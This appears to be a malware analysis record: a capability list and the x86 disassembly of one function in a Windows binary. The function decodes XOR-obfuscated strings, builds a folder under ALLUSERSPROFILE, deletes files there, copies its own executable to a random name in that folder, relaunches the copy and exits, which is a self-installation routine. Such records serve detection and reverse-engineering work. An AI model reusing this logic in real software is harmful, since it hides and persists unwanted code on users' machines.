Function at 0x40a397
Capabilities:
Accept command line arguments
Authenticate hmac
Contain obfuscated stackstrings
Copy file
Create directory
Create process on windows
Delete file
Encode data using xor
Enumerate files on windows
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1b1c
call fcn.004138e0
push ebx
push esi
push edi
push 3
pop edi
mov dword [ebp - 0x28], edi
mov esi, ecx
mov eax, dword [ebp - 0x28]
xor al, 0x41
mov byte [ebp - 0x24], al
mov eax, dword [ebp - 0x28]
inc al
mov byte [ebp - 0x23], al
mov eax, dword [ebp - 0x28]
add al, 2
xor al, 0x4c
mov byte [ebp - 0x22], al
mov eax, dword [ebp - 0x28]
add al, 3
mov byte [ebp - 0x21], al
mov eax, dword [ebp - 0x28]
add al, 4
xor al, 0x4c
mov byte [ebp - 0x20], al
mov eax, dword [ebp - 0x28]
add al, 5
mov byte [ebp - 0x1f], al
mov eax, dword [ebp - 0x28]
add al, 6
xor al, 0x55
mov byte [ebp - 0x1e], al
mov eax, dword [ebp - 0x28]
add al, 7
mov byte [ebp - 0x1d], al
mov eax, dword [ebp - 0x28]
add al, 8
xor al, 0x53
mov byte [ebp - 0x1c], al
mov eax, dword [ebp - 0x28]
add al, 9
mov byte [ebp - 0x1b], al
mov eax, dword [ebp - 0x28]
add al, 0xa
xor al, 0x45
mov byte [ebp - 0x1a], al
mov eax, dword [ebp - 0x28]
add al, 0xb
mov byte [ebp - 0x19], al
mov eax, dword [ebp - 0x28]
add al, 0xc
xor al, 0x52
mov byte [ebp - 0x18], al
mov eax, dword [ebp - 0x28]
add al, 0xd
mov byte [ebp - 0x17], al
mov eax, dword [ebp - 0x28]
add al, 0xe
xor al, 0x53
mov byte [ebp - 0x16], al
mov eax, dword [ebp - 0x28]
add al, 0xf
mov byte [ebp - 0x15], al
mov eax, dword [ebp - 0x28]
add al, 0x10
xor al, 0x50
mov byte [ebp - 0x14], al
mov eax, dword [ebp - 0x28]
add al, 0x11
mov byte [ebp - 0x13], al
mov eax, dword [ebp - 0x28]
add al, 0x12
xor al, 0x52
mov byte [ebp - 0x12], al
mov eax, dword [ebp - 0x28]
add al, 0x13
mov byte [ebp - 0x11], al
mov eax, dword [ebp - 0x28]
add al, 0x14
xor al, 0x4f
mov byte [ebp - 0x10], al
mov eax, dword [ebp - 0x28]
add al, 0x15
mov byte [ebp - 0xf], al
mov eax, dword [ebp - 0x28]
add al, 0x16
xor al, 0x46
mov byte [ebp - 0xe], al
mov eax, dword [ebp - 0x28]
add al, 0x17
mov byte [ebp - 0xd], al
mov eax, dword [ebp - 0x28]
add al, 0x18
xor al, 0x49
mov byte [ebp - 0xc], al
mov eax, dword [ebp - 0x28]
add al, 0x19
mov byte [ebp - 0xb], al
mov eax, dword [ebp - 0x28]
add al, 0x1a
xor al, 0x4c
mov byte [ebp - 0xa], al
mov eax, dword [ebp - 0x28]
add al, 0x1b
mov byte [ebp - 9], al
mov eax, dword [ebp - 0x28]
add al, 0x1c
xor al, 0x45
mov byte [ebp - 8], al
mov eax, dword [ebp - 0x28]
add al, 0x1d
mov byte [ebp - 7], al
mov eax, dword [ebp - 0x28]
add al, 0x1e
xor ebx, ebx
mov byte [ebp - 6], al
mov edx, ebx
mov al, byte [ebp - 0x24]
mov byte [ebp - 5], bl
mov al, byte [ebp + edx - 0x24]
mov ecx, dword [ebp - 0x28]
add cl, dl
xor cl, al
mov byte [ebp + edx - 0x24], cl
inc edx
cmp edx, 0x1f
jb 0x40a4cd
push 0x400
lea eax, [ebp - 0x1318]
mov byte [ebp - 5], bl
push eax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov byte [ebp - 4], 0x87
mov byte [ebp - 3], 0xc
mov byte [ebp - 2], 0xc
mov byte [ebp - 1], bl
mov al, byte [ebp - 4]
mov eax, ebx
sub byte [ebp + eax - 4], 0xc
inc eax
cmp eax, edi
jb 0x40a50f
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x8c8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x8c8]
push eax
call esi
mov byte [ebp - 0x3e], 0x7e
mov byte [ebp - 0x3d], 1
mov byte [ebp - 0x3c], 0x5d
mov byte [ebp - 0x3b], 1
mov byte [ebp - 0x3a], 1
mov byte [ebp - 0x39], bl
mov al, byte [ebp - 0x3e]
mov eax, ebx
dec byte [ebp + eax - 0x3e]
inc eax
cmp eax, 5
jb 0x40a556
lea eax, [ebp - 0x3e]
push eax
lea eax, [ebp - 0x8c8]
push eax
call esi
lea eax, [ebp - 0x8c8]
lea edx, [ebp - 0x1318]
push eax
mov ecx, edx
call fcn.0040af88
lea ecx, [ebp - 0x8c8]
mov dword [esp], 0x800
call fcn.00406851
add esp, 4
lea eax, [ebp - 0x1318]
mov esi, ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x40a5f9
lea eax, [esi + esi]
cmp word [ebp + eax - 0x1318], 0x5c
jne 0x40a5e7
push eax
lea edx, [ebp - 0x1318]
lea ecx, [ebp - 0x8c8]
call fcn.00406872
pop ecx
lea ecx, [ebp - 0x8c8]
call fcn.0040aeb3
test eax, eax
jne 0x40a5e7
push ebx
lea eax, [ebp - 0x8c8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea eax, [ebp - 0x1318]
inc esi
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp esi, eax
jl 0x40a5a9
mov dword [ebp - 0x38], 0x36
mov edx, ebx
mov eax, dword [ebp - 0x38]
xor al, 0x2a
mov byte [ebp - 0x34], al
mov eax, dword [ebp - 0x38]
inc al
mov byte [ebp - 0x33], al
mov eax, dword [ebp - 0x38]
add al, 2
xor al, 0x2e
mov byte [ebp - 0x32], al
mov eax, dword [ebp - 0x38]
add al, 3
mov byte [ebp - 0x31], al
mov eax, dword [ebp - 0x38]
add al, 4
xor al, 0x65
mov byte [ebp - 0x30], al
mov eax, dword [ebp - 0x38]
add al, 5
mov byte [ebp - 0x2f], al
mov eax, dword [ebp - 0x38]
add al, 6
xor al, 0x78
mov byte [ebp - 0x2e], al
mov eax, dword [ebp - 0x38]
add al, 7
mov byte [ebp - 0x2d], al
mov eax, dword [ebp - 0x38]
add al, 8
xor al, 0x65
mov byte [ebp - 0x2c], al
mov eax, dword [ebp - 0x38]
add al, 9
mov byte [ebp - 0x2b], al
mov eax, dword [ebp - 0x38]
add al, 0xa
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x2a], al
mov al, byte [ebp - 0x34]
mov al, byte [ebp + edx - 0x34]
mov ecx, dword [ebp - 0x38]
add cl, dl
xor cl, al
mov byte [ebp + edx - 0x34], cl
inc edx
cmp edx, 0xb
jb 0x40a668
lea eax, [ebp - 0x34]
mov byte [ebp - 0x29], bl
push eax
lea edx, [ebp - 0x1318]
lea ecx, [ebp - 0x1b18]
call fcn.0040af88
pop ecx
lea eax, [ebp - 0xb18]
push eax
lea eax, [ebp - 0x1b18]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x40a6f8
lea eax, [ebp - 0xaec]
push eax
lea edx, [ebp - 0x1318]
lea ecx, [ebp - 0x8c8]
call fcn.0040af88
pop ecx
lea eax, [ebp - 0x8c8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x40a8ca
lea eax, [ebp - 0xb18]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x40a6b1
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov dword [ebp - 0x4c], 0x2e
mov edx, ebx
mov byte [ebp - 0x48], 0x4f
mov byte [ebp - 0x47], 0x2e
mov byte [ebp - 0x46], 0x54
mov byte [ebp - 0x45], 0x2e
mov byte [ebp - 0x44], 0x71
mov byte [ebp - 0x43], 0x2e
mov byte [ebp - 0x42], 0x2e
mov al, byte [ebp - 0x48]
mov byte [ebp - 0x41], bl
mov al, byte [ebp + edx - 0x48]
mov ecx, dword [ebp - 0x4c]
xor cl, al
mov byte [ebp + edx - 0x48], cl
inc edx
cmp edx, 7
jb 0x40a723
mov byte [ebp - 0x41], bl
mov byte [ebp - 0x66], 0x65
mov byte [ebp - 0x65], 6
mov byte [ebp - 0x64], 0x65
mov byte [ebp - 0x63], 6
mov byte [ebp - 0x62], 0x65
mov byte [ebp - 0x61], 6
mov byte [ebp - 0x60], 0x65
mov byte [ebp - 0x5f], 6
mov byte [ebp - 0x5e], 0x65
mov byte [ebp - 0x5d], 6
mov byte [ebp - 0x5c], 0x65
mov byte [ebp - 0x5b], 6
mov byte [ebp - 0x5a], 0x65
mov byte [ebp - 0x59], 6
mov byte [ebp - 0x58], 0x65
mov byte [ebp - 0x57], 6
mov byte [ebp - 0x56], 0x34
mov byte [ebp - 0x55], 6
mov byte [ebp - 0x54], 0x6b
mov byte [ebp - 0x53], 6
mov byte [ebp - 0x52], 0x7e
mov byte [ebp - 0x51], 6
mov byte [ebp - 0x50], 0x6b
mov byte [ebp - 0x4f], 6
mov byte [ebp - 0x4e], 6
mov byte [ebp - 0x4d], bl
mov al, byte [ebp - 0x66]
mov eax, ebx
sub byte [ebp + eax - 0x66], 6
inc eax
cmp eax, 0x19
jb 0x40a7a5
mov ax, word [ebp - 0x44]
mov edi, ebx
cmp word [ebp - 0x66], ax
jne 0x40a7e8
movzx eax, word [ebp - 0x48]
lea ebx, [ebp - 0x66]
movzx esi, word [ebp - 0x46]
sub esi, eax
mov ecx, esi
call fcn.004089ae
add eax, dword [ebp - 0x48]
inc edi
mov word [ebx], ax
lea ebx, [ebp - 0x66]
mov ax, word [ebp - 0x44]
lea ebx, [ebx + edi*2]
cmp word [ebx], ax
je 0x40a7c9
xor ebx, ebx
lea eax, [ebp - 0x66]
push eax
lea edx, [ebp - 0x1318]
lea ecx, [ebp - 0x8c8]
call fcn.0040af88
pop ecx
mov ecx, 0x10000
call fcn.004067f9
mov esi, eax
test esi, esi
je 0x40a8ca
push 0x8000
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x40a8c3
push ebx
lea eax, [ebp - 0x8c8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x40a8c3
mov dword [ebp - 0x6c], ebx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov edi, eax
lea eax, [ebp - 0x6c]
push eax
push edi
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp dword [ebp - 0x6c], 1
jle 0x40a86a
push dword [eax]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea edi, [edi + eax*2]
add edi, 4
jmp 0x40a86c
mov edi, ebx
push 0x44
pop ebx
push ebx
lea ecx, [ebp - 0xc8]
call fcn.00406851
add esp, 4
lea ecx, [ebp - 0x7c]
push 0x10
call fcn.00406851
add esp, 4
mov dword [ebp - 0xc8], ebx
mov eax, ecx
xor ebx, ebx
push eax
lea eax, [ebp - 0xc8]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push edi
lea eax, [ebp - 0x8c8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x40a8c3
mov ecx, esi
call fcn.0040689e
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, esi
call fcn.0040689e
pop edi
pop esi
pop ebx
leave
ret